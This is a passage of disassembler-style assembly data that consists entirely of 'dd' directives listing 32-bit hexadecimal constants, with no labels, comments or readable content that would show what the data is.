		dd 54E9615Ch, 0E821A3CCh, 0DD0637E7h, 8327F3C6h, 0B5E30019h
		dd 62889A38h, 2000409Bh, 93DDDF5Eh, 0C7D4F9h, 11062A96h
		dd 456AB40Fh, 46FFB000h, 0F4509B48h, 0AFB71486h, 0AE009C8Eh
		dd 74751EFEh, 18001C4Ah, 442248C6h, 0DEDF6Dh, 289F485h
		dd 0DB3C9C4Eh, 0BDFA6800h, 52CC5769h, 0A0B50516h, 0AEF9Fh
		dd 9D88FFA1h, 959047F1h, 7AFD8102h, 7D5432A8h, 4C11F940h
		dd 0B0C07600h, 81B5BA24h, 0BFD8007Fh, 0ADAA3C83h, 4A004BC3h
		dd 0F4AE64E2h, 1DF60FFh, 0D5838B37h, 403021B0h,	687BB6FBh
		dd 3E049A01h, 8E37FC71h, 5D5730h, 0D1200E7Ch, 0AED7FEADh
		dd 0A589A000h, 179E3546h, 0EB2D06E4h, 115BF4A1h, 20F49FCh
		dd 2091D5C6h, 8F32BA47h, 4D5F001Bh, 7B102B4Ah, 0CA1E7EECh
		dd 0A880E73Dh, 0AA184CEh, 916B01F3h, 0F500330h,	7E7B2043h
		dd 2E405600h, 5C5227ACh, 0EB3203EEh, 7A345AAh, 6C7AC2C0h
		dd 4D865000h, 0B475D1F2h, 2D11001Fh, 0EDEA6ED6h, 554815D7h
		dd 0D19118FCh, 95B4411h, 0A5201679h, 450A8CA0h,	3DF8FF03h
		dd 4F007E7Ah, 34C0668Eh, 398AA59Bh, 60809F13h, 0E2BC08F3h
		dd 480003A9h, 17D6C1EFh, 1766C24h, 0BAC86DCEh, 8008B6EAh
		dd 0C2A2BB68h, 821CA6h,	0B26ECB94h, 1432C15Ah, 4698771Ch
		dd 88030F12h, 0F8CE81EEh, 2C9FBA03h, 7F0967h, 0FFDDAE4Dh
		dd 479A19Ah, 0D697911Dh, 9C154E40h, 0D813927h, 945B3275h
		dd 4FD24070h, 0DA052965h, 1524C1Ah, 48D8A80h, 0AD020C9Dh
		dd 44181B9Fh, 70BC6A01h, 0B2969109h, 5E29D0h, 3B61B02Bh
		dd 0F4178D94h, 0AC382A13h, 6457C400h, 8C48EFh, 2B29B7Eh
		dd 8251829h, 90390C02h,	876344C5h, 0BE70A5DAh, 980AE8B3h
		dd 75FEA08h, 0C852A2ACh, 0F5C7408Eh, 0F8009892h, 933F4CCDh
		dd 0FDCAF1h, 550EE112h,	0B369C810h, 0D59F7A03h,	80AA1ED8h
		dd 0E5F9AEh, 43F17696h,	1D321630h, 2BEC0500h, 0F4911ABEh
		dd 87490377h, 5F57D28Fh, 0FF348581h, 0D62FFAD0h, 547A1E00h
		dd 0D4397C1Dh, 0FD9E0036h, 7755A4F8h, 58E6F2ACh, 0C946A601h
		dd 4B5DE268h, 5BFD20h, 24BAF4C6h, 0B4F12327h, 38045E00h
		dd 75F77C9Bh, 1F3D1EA3h, 0FC7F9E16h, 0C811B600h, 6E45FED8h
		dd 10B5F630h, 249FF55h,	1DE33388h, 9481C127h, 8094E222h
		dd 8DD4D340h, 79BB305h,	0A12672BAh, 0F0F25108h,	0D89CC83Ah
		dd 0BE02A379h, 0F57B6898h, 69072F29h, 6A0B13AFh, 25A01689h
		dd 7479A874h, 22FBFD01h, 56095ABFh, 2B1A196h, 6C95F63Bh
		dd 2117E0C0h, 620F357Ch, 0E50BAD7h, 6EB0A3A9h, 0C11488E0h
		dd 0F0B3034Bh, 20EE763Ch, 41C9B007h, 5BC358FEh,	65EC0014h
		dd 0BD217B50h, 170066DEh, 0E3AC11DFh, 4B4A99h, 0C1E24773h
		dd 9DA9CB84h, 8C867500h, 33700A77h, 0BFB50F13h,	1A000B48h
		dd 0F25D4A8Eh, 261CE100h, 0DADB7256h, 0CFF2C9h,	0A6F1FA0Fh
		dd 6F678BAEh, 220FFFE6h, 6E9395h, 6C814959h, 13F2A4h, 0A634059Dh
		dd 7EA3E284h, 5EFA6400h, 42E848BDh, 53490047h, 0AF7AD071h
		dd 31027FB5h, 435B8E0Dh, 0C0B36Ah, 8A364641h, 97253BFDh
		dd 0EFC95107h, 0D180BF9Ch, 187A4F8Dh, 0D829495Dh, 1601B91Ch
		dd 0A087C778h, 6C208198h, 5DD60060h, 0DD1C72D2h, 207AFF0h
		dd 0A9FC6887h, 608046F5h, 0CA35A7h, 54EF7125h, 3EB0F53Ah
		dd 4000197Eh, 0DBD9E7DDh, 1635C8h, 27222A2Dh, 7EBF9510h
		dd 0B5250F00h, 801912B1h, 591E00DDh, 0A2B43965h, 871C42Ch
		dd 10263700h, 0CCE80A53h, 0FC8A0EF1h, 0EB20315Ah, 0CE71AC16h
		dd 343EF50Bh, 138A068h,	56DF45Ch, 8B0A5938h, 0B050C751h
		dd 4AD1A244h, 0DB7D5E0Ch, 75961997h, 4EE52642h,	64823F45h
		dd 721C1267h, 1541F460h, 58A7F730h, 0F2294566h,	87382CFCh
		dd 49AA00EEh, 0DB67FE51h, 93F5C101h, 0A698BB8Eh, 1D64E8DCh
		dd 429E0422h, 0D2A9C281h, 2659A60h, 7E1D2CB8h, 0C8B00F98h
		dd 11FE0EAh, 0B217F6BFh, 0E073AD8Ch, 180064DAh,	0D3EA53E7h
		dd 4AA8EB30h, 7E5FB057h, 91E85800h, 521464B8h, 5AA391Ch
		dd 0DCCAA600h, 6EEFE95Ah, 0B55D7800h, 0A369B76Ah, 17B30335h
		dd 6BACA79h, 0E1AC03CDh, 94A1CE1Bh, 0B91080B1h,	0A17B2A82h
		dd 186F1F56h, 22D4005Ah, 5B87DA78h, 4CAA1604h, 57C7973Dh
		dd 9F0F7611h, 0BA68770h, 0C250C774h, 3621002Eh,	457E4BE8h
		dd 0E9E480F8h, 0F9751E21h, 0C15E1816h, 0D0DA0400h, 0B8A6595Dh
		dd 747E008Ch, 5CD23A51h, 94A081ACh, 8D74DAD3h, 4DDF1C00h
		dd 0C1F2C11h, 3C1007F6h, 40477525h, 0BFA37791h,	8AC8C900h
		dd 0A82032E4h, 389200A7h, 0ECDC0282h, 1900E84Dh, 2AD64127h
		dd 624323h, 0E4B746E7h,	4F528C1h, 0F288E200h, 93AA7712h
		dd 8C21482Bh, 0B20C7501h, 20D4B44Eh, 4F00AD04h,	8493D528h
		dd 609C1F7Ah, 66351887h, 2C924110h, 0C4860700h,	5768F18Bh
		dd 6C0B008Ah, 0E5970D2Fh, 0AC0021C2h, 32AB7F19h, 0F117249h
		dd 2B41F456h, 0DE246621h, 9EF03038h, 0C530DF1Eh, 8F800740h
		dd 1FDA8BD1h
		dd 0C04D194Bh, 6EAA2081h, 0CD003416h, 0A2DEAF0h, 167D2CD6h
		dd 505EDAEh, 0C0A93268h, 0F2481ED0h, 8063BB3Bh,	0B580C68Dh
		dd 0B7EF55h, 9D589CD2h,	5F66485Eh, 0AB6CC0Ch, 7E601159h
		dd 0ED0905CDh, 80E4465Ch, 1D72BF8Eh, 90A09AF4h,	193A206Dh
		dd 9C821413h, 679C44C5h, 0FCC17A00h, 2A39C0EEh,	37CDE8EFh
		dd 8720937Ch, 0B43EC087h, 0F500A7CAh, 0F0163CFAh, 1CF55A1h
		dd 0C0F738A3h, 81BFB142h, 9F6219DCh, 58347101h,	696D006Ch
		dd 1DEB0644h, 513515Ah,	0D443C1E0h, 0EE624199h,	0D21D1D41h
		dd 59374151h, 0E72102E2h, 0F89F2814h, 60FC3C28h, 4E654AA8h
		dd 8F7400A9h, 0A27D0F2Bh, 0A803B32Dh, 26401237h, 0C073F222h
		dd 25C400h, 0C87FFCAEh,	5B02596Ah, 0D478B7h, 0AB696BE5h
		dd 0B9270FF9h, 2B124E1Dh, 2046950Fh, 17B781B1h,	6CF400D0h
		dd 60FEDEE8h, 3B0014CAh, 97F1EAAEh, 0B8253349h,	0AFA500B0h
		dd 0C5D74383h, 0BD1F0C81h, 0E8C6F9C0h, 0F268EE67h, 0B1C60F52h
		dd 86003D5Fh, 38B59CC3h, 4509CB00h, 3066B2B6h, 0F1F00B9h
		dd 8403A85Eh, 8C03E772h, 0F79E1A86h, 7605E845h,	0CD57149Fh
		dd 7EE09Bh, 0FD37047Fh,	8B88A15Fh, 0F262E300h, 123D0E08h
		dd 0D77F0605h, 0D6F85102h, 2AD24F48h, 7200A860h, 0DD758ED9h
		dd 0F0EC4279h, 0AD0E002Dh, 87E42F1Ah, 0E8F84A44h, 0CC01E201h
		dd 0B1CD6D3Dh, 3FB7992h, 9ED85D22h, 0A83BD7C0h,	4106C600h
		dd 85054CE0h, 531300BBh, 8037DACFh, 4A24CB65h, 0FD803CF6h
		dd 1967B850h, 0B690148h, 0F992A5D1h, 7858D816h,	64F6660Ch
		dd 26A97Dh, 0CFA2BD53h,	6DDE8980h, 0C319EB12h, 38CE2440h
		dd 0ECB6FF31h, 0A8F200D1h, 9FB23C14h, 0B1026388h, 49EB72D9h
		dd 69A080ABh, 45CD89E7h, 0D6D3F4AFh, 0DC78F970h, 0E8888200h
		dd 0D72A6C8h, 241F031Eh, 3ED8E246h, 0FF994FA8h,	3FC0E1A0h
		dd 0CE01947Ch, 8C6FAA87h, 9180C497h, 0F40292F2h, 0C703E817h
		dd 5A41A34h, 0B1710DB8h, 0F1D96FEAh, 0C0885750h, 0DF2D5E06h
		dd 3843EF03h, 989CF9A0h, 0ECF4549Eh, 29B560CDh,	0E4BA7721h
		dd 36198D00h, 5A4CA82Ah, 2C181C2Bh, 475B0111h, 80B2CD75h
		dd 0A854E631h, 0B41FD5h, 0C6726992h, 6AA5F987h,	0A7FC40E5h
		dd 0D30AA1E2h, 98CF2602h, 4E20F600h, 60CEDF51h,	5E3B499Ah
		dd 5C1F3616h, 579653ABh, 0CDE08F02h, 0E6AC8082h, 238540h
		dd 6DB3664Dh, 3B153CEFh, 0A922ED01h, 23FF544h, 0A8A19D30h
		dd 0A02594h, 0EB489CCAh, 0C45C753h, 647F7E18h, 0A87950h
		dd 304E803Ch, 3FC5C9F2h, 0B1667A05h, 0A0416344h, 0A097C838h
		dd 14CE5197h, 0E8009C47h, 9CDC8873h, 0BB3F7A18h, 80984802h
		dd 63DFD63Fh, 0B0FD0090h, 3EB7C1AEh, 647583E1h,	0C859D4h
		dd 0E70824D5h, 74799B55h, 16650F80h, 0B442EE68h, 3840813Ch
		dd 8241D36h, 0E3416C9Dh, 0C8D78909h, 785FF14h, 0A0A19474h
		dd 0E72D03Bh, 0B600ECFEh, 5B4F33B4h, 6E972938h,	4060C169h
		dd 0EC830328h, 90D80EAh, 70A89D60h, 38859FF1h, 30429CD4h
		dd 44B20180h, 0A411AB61h, 9C34206Ch, 6DB7B06h, 9D1650F0h
		dd 0A07A1ECh, 9AF27911h, 5C675E00h, 0DB0B1E45h,	38E780F3h
		dd 0E49D07FBh, 0C8898F00h, 56A237D7h, 80A100A8h, 5E3C1286h
		dd 20135A0Eh, 28133F07h, 22783919h, 15591A10h, 0B711127Fh
		dd 0EB0087F5h, 6402BAE1h, 380CEF1Dh, 0F9B924DEh, 0E9210C97h
		dd 955044B5h, 0C014434Ch, 902CFABEh, 9AF11E19h,	330CC09Dh
		dd 6F45DD97h, 9F20F303h, 0D35570C3h, 0F751007Bh, 0D16E3E46h
		dd 14730B44h, 344C7C04h, 0AAC0DDE2h, 3D083Fh, 46F6D221h
		dd 0A2476CACh, 0C5885400h, 0E417F9C7h, 7FE39BFh, 0E2F27880h
		dd 6D342BECh, 6B1CDCE4h, 0D4C363AEh, 0EBC77081h, 0E410395h
		dd 40597A09h, 0C8DB1100h, 5AA38AFFh, 0C78D0246h, 198901BAh
		dd 8FE815C0h, 3F996306h, 3003F0h, 9640E79Ah, 2EC75A22h
		dd 9CFF2CA0h, 20C86Fh, 79D2F3C4h, 0EB821C46h, 0EE934EB1h
		dd 0CD971FE1h, 4C49877Dh, 940401Dh, 0BBAD34h, 0DA21A591h
		dd 3F1443B6h, 0A31EF27Fh, 57C0D963h, 73220BFCh,	6C792EAFh
		dd 0EA740F23h, 8A27038h, 0A4410C00h, 4F80CD84h,	22995872h
		dd 76D6DB0Bh, 0AC294A0Ch, 46B14163h, 0C659F844h, 81820E7Ch
		dd 7C0B6FDh, 0B1E8141Ah, 423ABC17h, 0A3F4E600h,	1BFDE97h
		dd 340C5822h, 0ECFCB4BDh, 0A80CCA7Bh, 613FEA6Dh, 3C9307BAh
		dd 204EA7F2h, 564F79A1h, 226838h, 2EB6C24h, 1A92F76h, 80E8114Ch
		dd 50A1C764h, 57716B9Ch, 0CAE08200h, 3F615FDDh,	8F9F3AE1h
		dd 1BB9EC11h, 0C0314876h, 66D15F6h, 9CF3F0F4h, 0B40019D1h
		dd 827B170Bh, 49925866h, 6F00B576h, 84B5556Ch, 0BD777CD4h
		dd 5000DC90h, 9F8E0981h, 30C56722h, 5349EB6Fh, 2900129Dh
		dd 0BFF77EF8h, 174133Ch, 32781AD9h, 0C45121F2h,	170C9B5Bh
		dd 39A43B64h, 0DB700C22h, 3F11C76Eh, 0E800EAE0h, 0A7CBEF7Ch
		dd 0B7E662h, 2BFADC2Fh,	0E1F3D7FDh, 0E8AA53h, 593AB830h
		dd 0F640F510h, 9F510BDCh, 73000570h, 0F0364C21h, 0B1D47907h
		dd 59103FD3h, 0C725E73Dh, 0B02E8541h, 8DC94D6Ch, 0B470B900h
		dd 0FCF12BE2h, 0C17805ECh, 212276A2h, 242359DCh, 0BF004F0Ch
		dd 0A3A0D9D7h, 0C12F4B2h, 6B21C7E2h, 7518ED21h,	6239AAE7h
		dd 0DB590083h, 0F346440h, 935E7278h, 450257E8h,	4FE624EDh
		dd 0AE43DC90h, 80A388h,	0A8CF914Ch, 567A6C0Eh, 7C79EEECh
		dd 39E9E718h, 7BE3B529h, 159B5CA4h, 0A87BBD01h,	225942C1h
		dd 1C221D64h, 6F349EC3h, 0E00782C4h, 0E130F4Ch,	9CF07B8Ch
		dd 0A8B45920h, 21019174h, 8137F5AFh, 3450E62Ah,	19966C6h
		dd 9068C70Fh, 40D29EE4h, 83C9515Ch, 24AB802Eh, 0EC9CB705h
		dd 4EF6EC40h, 0BFA924h,	0C16F215Eh, 0F2971AD6h,	0CBB61012h
		dd 0B81F2813h, 119C3394h, 54062DC8h, 49F39C9Bh,	21656D01h
		dd 4FC899BBh, 0F9328F4h, 767113E5h, 0BFAF14C0h,	0CA609C9Eh
		dd 0A6346031h, 11BE09E1h, 0CC0F7E6Dh, 9BF9FDA0h, 0FC08D96Fh
		dd 60E476CBh, 4560C81Bh, 0F97A58h, 7E7DD406h, 255A3E3h
		dd 0FDDC92B6h, 1880E9BFh, 481E5B5h, 0B8F07300h,	7454AB7Dh
		dd 0DA49136Eh, 9AA80802h, 5B500149h, 2DF0BCCCh,	2919C472h
		dd 94888C35h, 0EB9C5B11h, 0FED83200h, 16847DA7h, 0B7FF7700h
		dd 14C3CBEh, 1C430333h,	0E77BC48Dh, 5C00967Eh, 37C7893Dh
		dd 0C7869CEFh, 0C03EAA18h, 85AFF472h, 7FA40A18h, 18308F08h
		dd 28BF972Fh, 7201E5CAh, 1F5FFC7h, 52F82811h, 68AB0399h
		dd 19B6B336h, 0E8BF32E9h, 751E3191h, 78B55DC2h,	0E14CCB80h
		dd 93320077h, 0FC3B9658h, 517D45FEh, 0C723DC01h, 0E2F889B2h
		dd 0F873185h, 6899C0A7h, 5101F57Ch, 8ECCD784h, 0CF0C5D9h
		dd 9D60E946h, 0AD3F0063h, 0F5C21873h, 4F069D55h, 1C96A8EFh
		dd 0C7BF3CE1h, 0DE24D283h, 0D103042Fh, 53C13168h, 37600362h
		dd 38AE24D1h, 0D73D8100h, 0E4A7849h, 0A4B6011Bh, 0C19B47A0h
		dd 6AF840BCh, 18075089h, 5383D366h, 0FFB096B7h,	0CC8B110Ch
		dd 41B87179h, 573C1418h, 22878D20h, 830065F0h, 342963CDh
		dd 320A84Ch, 0EC2B3064h, 0DCB879CFh, 2300800Ah,	6715F20Fh
		dd 6043F6D4h, 5DABF057h, 0F50E3BD9h, 40B33436h,	0F0DF40CBh
		dd 4E910C69h, 5CC9E3FAh, 10C9CE00h, 437C5DA8h, 3F962471h
		dd 1FD6C008h, 0D1043CF5h, 5DE5F1ACh, 4D261080h,	2E151519h
		dd 0FF019803h
		dd 0CAA2B4Ch, 3F38BCD5h, 8BF938C4h, 80854E45h, 63C84927h
		dd 668C00CDh, 9A1FB1F6h, 8F60F773h, 6447C371h, 28EF7B27h
		dd 0CA02594h, 0BEBA69E0h, 52A4DA1h, 0D4F5908Ah,	1C03A6FEh
		dd 4FAFCE4Ah, 0A11A886Ch, 0E3AB0CF4h, 0A6596BF2h, 0D1FB6500h
		dd 9ED2987Ah, 0A48A00CCh, 6F5F1D24h, 0E102218Fh, 867E2252h
		dd 67C44F0h, 85D97739h,	0F900F60Eh, 63E016C0h, 960F78h
		dd 1E141740h, 4C433B5Fh, 9F894D1Eh, 5D1A6102h, 2B0A00Ch
		dd 0F2FB408Ch, 95D30034h, 4FBD9193h, 740A7A28h,	0A76829C9h
		dd 0A4982E0Ah, 0BB787780h, 1EFADE1Ch, 79E21BC4h, 37DD2480h
		dd 1F8579A3h, 61E45D30h, 6FB7E1h, 0C0294F0Fh, 60F03443h
		dd 0B55CC1C0h, 7E14B861h, 67370004h, 804CEED1h,	18F6FE2Ch
		dd 0E47448h, 0FB4127A2h, 0E0B494F3h, 0A3C7724Eh, 0F0D481D4h
		dd 0A7005822h, 0C628C09Fh, 89310C7Eh, 261F1996h, 54F768D4h
		dd 0F6CAB8C3h, 1B5600FFh, 3DC22CA2h, 2A0662EDh,	89CBB08Ah
		dd 6960B60h, 0F18082CFh, 61250DFDh, 64FC51C6h, 0E3DD0049h
		dd 0CC8EE222h, 0D7004AC1h, 0CB1BCDFFh, 63CC9D6h, 0C8960C98h
		dd 43023174h, 0AED40A27h, 7390A030h, 7E47E46h, 0F374BB1Dh
		dd 80365460h, 197BDFACh, 1596A112h, 0E6747830h,	14FC003Fh
		dd 0C50E35Eh, 4CA16616h, 644810B7h, 26540039h, 15B4F104h
		dd 3F0E43B2h, 80586124h, 141957A6h, 80909905h, 0B6284273h
		dd 0AF071C4Ah, 721DD446h, 0C53D6351h, 0CA10EC8h, 9705253Ch
		dd 0A803BF71h, 0F0209C3Fh, 18DDC8F4h, 0E6410140h, 89A47630h
		dd 28E42237h, 0A838A8D9h, 5FC400BCh, 0D782B6BDh, 9E0F14D6h
		dd 0C924F430h, 8EB0FA8h, 0C0889F7Fh, 9046BA41h,	0B64D4884h
		dd 0A63A0700h, 0CF3EEFD4h, 0BC04539Eh, 5220DF5h, 5C000844h
		dd 3DB6D710h, 1375F87Eh, 58D6761Fh, 2D276640h, 4CEB003h
		dd 0EAE36ED0h, 0A0645Dh, 40DA4B33h, 94EC96F9h, 9F4A9101h
		dd 0D10C6E8Ch, 2635BCD0h, 41C8D56h, 0FA16FFh, 796E1CFCh
		dd 33730715h, 0F1B0180Eh, 8013AE1Fh, 0CABC4659h, 24BD7Dh
		dd 50A6980Ah, 3B17F893h, 6D00FA7Eh, 0BFD62888h,	7273E57h
		dd 7F7C3786h, 30A0700Ch, 3A4CD2B0h, 52D503A0h, 7EBF0D29h
		dd 794D0010h, 66DA308Eh, 0F31C5B27h, 9180A53Fh,	460DD626h
		dd 0A7D301A1h, 2F25535Ah, 29FC508Dh, 0A80038F6h, 251667Fh
		dd 192A603h, 3EF58ED9h,	221196B7h, 0BE760060h, 64AC3F66h
		dd 474C0731h, 132757D5h, 5100992Eh, 0A2AD6F11h,	0FCABAh
		dd 6494B6DAh, 0C21D9E0Eh, 84652702h, 8258C5DCh,	415F4AE8h
		dd 2F121714h, 0D30FD864h, 80587DB9h, 7EF6D018h,	10307E89h
		dd 1F5FEF32h, 4C6C92A0h, 972E8406h, 0EDF40739h,	0E0322287h
		dd 8C68D73Eh, 6A3BC203h, 906EF939h, 482006D8h, 3D06F45Ah
		dd 0E168CD96h, 89165D30h, 49D73DDh, 0FCFFC6AAh,	3F6580D8h
		dd 76090B5Fh, 822859ABh, 0E1333EB4h, 0CB107450h, 0F21F881Eh
		dd 9D8B0DD0h, 0EB7C0792h, 89C5C380h, 0DF66064Dh, 10D1E6CAh
		dd 71E94035h, 998009h, 367DF818h, 0F97E00F1h, 1F3B9C9Fh
		dd 1AFA11C4h, 5E0710B8h, 68E315D3h, 1DE308Ch, 0D5315D3Fh
		dd 40862087h, 0DB66A988h, 6BC443Dh, 0BF489B8h, 0A52E2A69h
		dd 52611E94h, 0CDFB42CCh, 9CC15323h, 4C607242h,	8F8C0380h
		dd 7E1F593Fh, 843A0468h, 8C7537C5h, 98000394h, 3D247BF3h
		dd 3DE3E4B3h, 4D81975Bh, 6FD9DF1Eh, 2026C923h, 3C71A760h
		dd 22D86848h, 0AA5E13E3h, 5680B46h, 0F18E6C10h,	0AC73E901h
		dd 677D0C38h, 20F71996h, 6FC9F998h, 127BE807h, 586019FAh
		dd 321591Bh, 4204B94Fh,	30E05A92h, 0F1C08C2Eh, 7FEE2B96h
		dd 12D20764h, 5092ED06h, 1A7DD88Eh, 4301BAECh, 0F00A14CDh
		dd 90D3D4D6h, 3F36633h,	4EA5063h, 81030E4Eh, 98D3286h
		dd 0B7110DBDh, 21690262h, 91484204h, 0D8133D20h, 5D8700ABh
		dd 0C4C0A23Ch, 530E23Fh, 62E0D992h, 0AC5F1E39h,	1E85921Fh
		dd 785A158Ch, 3DFBC300h, 0C40E5642h, 80782D3Ah,	0CB6704F8h
		dd 0AAAC050h, 0FB892C5Dh, 882F44CCh, 0C03DEC8h,	0F1390D1Eh
		dd 652398F7h, 0E9E200A6h, 0B9B5C63Fh, 940BEA29h, 182C1F5Dh
		dd 78E0F4h, 0B284F2BEh,	0CBCF3530h, 74C77101h, 336A0DF9h
		dd 552A020h, 79BDA47Dh,	4DCC829Bh, 69001051h, 223EDA8h
		dd 84100046h, 0C2928E94h, 9AE45311h, 0E45BE52Ch, 0EB73568Eh
		dd 0C2AC10F7h, 4324004Ah, 0A503712Ch, 7D07D40Fh, 69C83A8Bh
		dd 410ED642h, 48D6A474h, 305EBF78h, 2141BCF7h, 3C00F415h
		dd 98E0DB49h, 3B5AA5A1h, 0BA029E1Ah, 0E77776D6h, 4DD5B7A0h
		dd 0BC005E7Eh, 7DA3096Ch, 0F784F1F7h, 5180C0D1h, 0FF0BBAD6h
		dd 7C00EB04h, 0A8D941B3h, 57009FEh, 6715C766h, 8C71C2E1h
		dd 8B8D052h, 4C784A48h,	75CC448Ah, 0ED442FFh, 0E4840C22h
		dd 0CD710954h, 0EC00BDDFh, 0E394CF66h, 383CDC98h, 0D0017E15h
		dd 71A1F8FDh, 25D04FF5h, 805096AEh, 97E0F68Bh, 3701D9C9h
		dd 55E77FFh, 0E3E4EC2Bh, 0F82D1706h, 0E5200C19h, 54944E98h
		dd 0CFFAF540h, 0F914075Fh, 809A0779h, 0D23AEECh, 20532800h
		dd 0FB914118h, 5DBE1733h, 1E3420F7h, 80000438h,	60151D6Dh
		dd 39B1673Eh, 7818C596h, 3DCAC81Fh, 0FC71857Bh,	4239C160h
		dd 0F5F3ACh, 0B68887FEh, 0B0376C93h, 0B0C270Dh,	66D2994Eh
		dd 5088F848h, 44F40CBAh, 859867E9h, 0D2B1C704h,	34C025CEh
		dd 0C031AE88h, 148C9921h, 0FE039459h, 7ED120A5h, 8B7FF03Fh
		dd 90BE7183h, 28915820h, 72C29F09h, 0DF74801h, 41445211h
		dd 3F208C1Bh, 0F050B303h, 5A1CDD14h, 12478F21h,	0A067846Eh
		dd 79F27711h, 9907F987h, 7081866Dh, 0F665D116h,	493C4409h
		dd 0D0F0D6C8h, 58E2F25Eh, 8B22AC82h, 479ACC07h,	0A7778501h
		dd 4D785Ch, 0F5CD8993h,	5B30FE25h, 0D3C01848h, 713AD000h
		dd 0CAC532h, 3DD0419Ah,	0BF8E9D4Fh, 0B497E13Bh,	2CB2F18Ah
		dd 0B26293Ch, 2D803CA6h, 89504D1Ch, 1A2CB475h, 0CA005426h
		dd 0BD40865Eh, 94B91230h, 952C0124h, 211C9F4Eh,	0D07807C4h
		dd 8636EE38h, 916105ECh, 7E781A99h, 16377CCh, 2C40387Fh
		dd 97C396D4h, 7402BF21h, 0E43D89DEh, 902F309Ch,	0E129EEA1h
		dd 12037300h, 3F882239h, 0DBB214B3h, 10CB993h, 0E0496AFCh
		dd 0F412300h, 0B3056751h, 853E00BCh, 0BD3BD953h, 0A5C5EDFh
		dd 0F5CC016Ah, 84D7338Ah, 30864834h, 92914FF0h,	9EFCCBFCh
		dd 84914301h, 21CC1014h, 0C2CC77C9h, 0B025F830h, 6AE805FCh
		dd 0C85D0FD5h, 1D03F468h, 72A7964Fh, 0BCB4985Fh, 698B0FACh
		dd 0A8B49978h, 14D026h,	0A1D5FA88h, 0B8B08131h,	1D4DF48h
		dd 25AF0F3Fh, 80508A2Eh, 0C0B9612Fh, 50878F28h,	557EA523h
		dd 0B79F391Eh, 882D0391h, 58FC5940h, 0CBDF558h,	0E0AE90B5h
		dd 0F8B12ECEh, 8350028h, 6831B7C1h, 0A9C5021Dh,	58884B92h
		dd 2D5000E4h, 0D9AA6DCh, 40F7197h, 0C0189178h, 23BC6E8Eh
		dd 4A417ED9h, 7BC4783h,	52AB4009h, 7D6A872Ch, 0BA11A84Eh
		dd 0F5C52405h, 0BB0D853Bh, 2C039105h, 0B15888h,	0F2DBEB18h
		dd 0E48772A5h, 7C0F8800h, 901457E1h, 30990E77h,	23413B28h
		dd 301D94B6h, 3100F734h, 20CBB044h, 27DBE8Dh, 528747A1h
		dd 0C478151Ah, 0ECECC3Eh, 8F7BED02h, 608F0166h,	0D863694Ch
		dd 80239B1Ch, 0CE6794CDh, 7C04F5DFh, 43F052A3h,	0A99C6D40h
		dd 0C7F85177h, 0EFDEAE0Eh
		dd 0C48520BAh, 2A08734h, 817FC1F3h, 0A4A00F5Dh,	0F9AD9E3Eh
		dd 4A5E9500h, 16CD6796h, 85C92C31h, 58D02C10h, 98004D65h
		dd 671B2921h, 3D588D2h,	3245B02h, 83EC0906h, 80845210h
		dd 0CA883DBCh, 81AB5C3Dh, 0E529F567h, 83C39D5h,	7D3E1C02h
		dd 78E29E9Ah, 0DEE4D098h, 9FA1B300h, 0D1E84D5Eh, 0C00A0DD9h
		dd 16CABCCh, 603F63EEh,	27741E06h, 0C4018499h, 0F9E11404h
		dd 28C2102Ch, 70C160A1h, 0EDB011E6h, 80DE091h, 3C92F087h
		dd 0B1BA7200h, 9AA73152h, 0B71FAE00h, 5D1AE05Ch, 6731C00Ah
		dd 0C141020Ch, 5B2B8207h, 6C102EF1h, 0E7C581Bh,	24672DF5h
		dd 0F3468660h, 795CA083h, 8D1C064Ch, 9E99223Fh,	0F027618Ch
		dd 733B6019h, 0CDAA3700h, 1C46D30Ah, 1426E282h,	585DB8FDh
		dd 90551C60h, 0BC00A69Eh, 66AE3497h, 48691C6Dh,	1050D418h
		dd 0C8A11DCCh, 5CECC23Fh, 58665953h, 2DCE1E1Dh,	0F527DE80h
		dd 13CD4B09h, 90F0BD85h, 50F831A4h, 587BF2A0h, 84541F28h
		dd 8A00CD77h, 9E7C3673h, 4F3E690Bh, 0DA1C405Dh,	15E1C8A6h
		dd 7E6D5B02h, 5958E7EEh, 8A3A0060h, 0FCCD9330h,	0F862A53Ch
		dd 6CBBBC00h, 75470E4Bh, 221C4A96h, 0C012B160h,	39B02180h
		dd 48047CD3h, 0CC378929h, 568896C4h, 8F2B0024h,	7FA9CEF2h
		dd 1900203Fh, 0C3173118h, 21A5DBCh, 0AC2CBECDh,	84E087E1h
		dd 718A3BF8h, 0D6E3003Ch, 0C87D0DDAh, 453BD100h, 27F99962h
		dd 0F460AF4h, 7B0BC0Eh,	6923CE80h, 2FB56082h, 0C009444h
		dd 0B3AD7037h, 2AEDC75h, 27835ED5h, 0F87AF25Ch,	88469F00h
		dd 2031056Ch, 0BCCC0B0Ch, 0E04026A0h, 0BF2CD0C5h, 0FF11385Fh
		dd 6468214Bh, 0C6B7E0E4h, 8C530800h, 0DF724DEBh, 37A409B4h
		dd 25802471h, 3CC75D94h, 89670309h, 60706A42h, 745FF5F4h
		dd 5A57D8Ah, 0B74926A6h, 40B88965h, 171C98B0h, 3E316890h
		dd 764208Ch, 782F3311h,	0EE04507Ch, 70F76C2Ch, 729DC04Fh
		dd 3DFBD726h, 0EE0FB08Ah, 0D1C0D618h, 637ACFEFh, 248EFA09h
		dd 18CC0B32h, 3ADE6664h, 50067A80h, 0C60C8CC8h,	4E2464B2h
		dd 0B448C0F8h, 0E006F360h, 18F2E21Bh, 0B05F5B13h, 0B008112Fh
		dd 808F2E76h, 95B47997h, 0A100DE74h, 7EEF7B6Fh,	3BC4460Ch
		dd 0CC1F26h, 4C37D080h,	90729F03h, 18010B7Eh, 96143541h
		dd 48400513h, 72F297h, 0EFAA9B9Dh, 94476A9Eh, 711C5800h
		dd 0D9CA1028h, 0A4F35CD6h, 2E520E22h, 4C1A01B0h, 24F98F50h
		dd 0ACD0F840h, 0D2E8AAh, 8BBEBBCDh, 68783C1Fh, 0AC8EF22Ah
		dd 92DCEC00h, 0FBFE4990h, 0AFD30046h, 0BC83A5EEh, 99C04D05h
		dd 1AD575E3h, 19A01E2Eh, 0FA0E81A2h, 0ADC20996h, 0A4841049h
		dd 0B2D400EAh, 2C539B44h, 0AB01CE66h, 1A629F09h, 0C83D8CB7h
		dd 30F028h, 0A4D1E4EAh,	97B627F7h, 375D502h, 226BC88Dh
		dd 0EC200AAEh, 63B845h,	0CACD0EF8h, 0C80D8D46h,	0AC5A3226h
		dd 0FF12FA85h, 8EE13CF1h, 27F4026h, 0B23A4249h,	8C87751Dh
		dd 0CE7DC0A1h, 8F0B3341h, 492706h, 79525938h, 552B3C0Ch
